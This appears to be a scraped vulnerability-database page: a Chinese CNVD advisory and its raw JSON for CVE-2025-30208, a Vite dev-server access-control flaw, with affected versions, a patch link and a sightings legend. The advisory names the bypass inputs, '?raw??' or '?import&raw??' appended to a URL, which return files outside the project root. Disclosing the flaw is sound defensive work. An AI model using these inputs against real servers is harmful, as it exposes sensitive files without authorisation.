          "value": "CWE-284"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "NVD-CWE-noinfo"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

CNVD-2025-05817

Vulnerability from cnvd - Published: 2025-03-27

Title

Vite存在访问控制错误漏洞（CNVD-2025-05817）

Description

Vite是Vite开源的一种新型的前端构建工具。 Vite存在访问控制错误漏洞，攻击者可利用该漏洞绕过开发服务器的保护机制，非法访问项目根目录外的敏感文件。

Severity

中

Patch Name

Vite存在访问控制错误漏洞（CNVD-2025-05817）的补丁

Patch Description

Vite是Vite开源的一种新型的前端构建工具。 Vite存在访问控制错误漏洞，该漏洞源于URL中的`?raw??`或`?import&raw??`可以绕过文件访问限制，返回任意文件内容。攻击者可利用该漏洞获取敏感信息。目前，供应商发布了安全公告及相关补丁信息，修复了此漏洞。

Formal description

目前厂商已发布升级程序修复该安全问题，详情见厂商官网: https://github.com/vitejs/vite/releases/tag/v6.2.3

Reference

https://nvd.nist.gov/vuln/detail/CVE-2025-30208

Impacted products

Name
['Vite Vite <=4.5.9', 'Vite Vite >=6.2.0， <=6.2.2', 'Vite Vite >=6.1.0， <=6.1.1', 'Vite Vite >=6.0.0，<=6.0.11', 'Vite Vite >=5.0.0， <=5.4.14']

Show details on source website

JSON

To clipboard

{
  "cves": {
    "cve": {
      "cveNumber": "CVE-2025-30208"
    }
  },
  "description": "Vite\u662fVite\u5f00\u6e90\u7684\u4e00\u79cd\u65b0\u578b\u7684\u524d\u7aef\u6784\u5efa\u5de5\u5177\u3002\n\nVite\u5b58\u5728\u8bbf\u95ee\u63a7\u5236\u9519\u8bef\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u7ed5\u8fc7\u5f00\u53d1\u670d\u52a1\u5668\u7684\u4fdd\u62a4\u673a\u5236\uff0c\u975e\u6cd5\u8bbf\u95ee\u9879\u76ee\u6839\u76ee\u5f55\u5916\u7684\u654f\u611f\u6587\u4ef6\u3002",
  "formalWay": "\u76ee\u524d\u5382\u5546\u5df2\u53d1\u5e03\u5347\u7ea7\u7a0b\u5e8f\u4fee\u590d\u8be5\u5b89\u5168\u95ee\u9898\uff0c\u8be6\u60c5\u89c1\u5382\u5546\u5b98\u7f51:\r\nhttps://github.com/vitejs/vite/releases/tag/v6.2.3",
  "isEvent": "\u901a\u7528\u8f6f\u786c\u4ef6\u6f0f\u6d1e",
  "number": "CNVD-2025-05817",
  "openTime": "2025-03-27",
  "patchDescription": "Vite\u662fVite\u5f00\u6e90\u7684\u4e00\u79cd\u65b0\u578b\u7684\u524d\u7aef\u6784\u5efa\u5de5\u5177\u3002\r\n\r\nVite\u5b58\u5728\u8bbf\u95ee\u63a7\u5236\u9519\u8bef\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u6e90\u4e8eURL\u4e2d\u7684`?raw??`\u6216`?import\u0026raw??`\u53ef\u4ee5\u7ed5\u8fc7\u6587\u4ef6\u8bbf\u95ee\u9650\u5236\uff0c\u8fd4\u56de\u4efb\u610f\u6587\u4ef6\u5185\u5bb9\u3002\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u3002\r\n\u76ee\u524d\uff0c\u4f9b\u5e94\u5546\u53d1\u5e03\u4e86\u5b89\u5168\u516c\u544a\u53ca\u76f8\u5173\u8865\u4e01\u4fe1\u606f\uff0c\u4fee\u590d\u4e86\u6b64\u6f0f\u6d1e\u3002",
  "patchName": "Vite\u5b58\u5728\u8bbf\u95ee\u63a7\u5236\u9519\u8bef\u6f0f\u6d1e\uff08CNVD-2025-05817\uff09\u7684\u8865\u4e01",
  "products": {
    "product": [
      "Vite Vite \u003c=4.5.9",
      "Vite Vite \u003e=6.2.0\uff0c \u003c=6.2.2",
      "Vite Vite \u003e=6.1.0\uff0c \u003c=6.1.1",
      "Vite Vite \u003e=6.0.0\uff0c\u003c=6.0.11",
      "Vite Vite \u003e=5.0.0\uff0c \u003c=5.4.14"
    ]
  },
  "referenceLink": "https://nvd.nist.gov/vuln/detail/CVE-2025-30208",
  "serverity": "\u4e2d",
  "submitTime": "2025-03-27",
  "title": "Vite\u5b58\u5728\u8bbf\u95ee\u63a7\u5236\u9519\u8bef\u6f0f\u6d1e\uff08CNVD-2025-05817\uff09"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-30208 (GCVE-0-2025-30208)

GHSA-X574-M823-4X7W

Summary

Impact

Details

PoC

FKIE_CVE-2025-30208

CNVD-2025-05817

Tags

Sightings

Nomenclature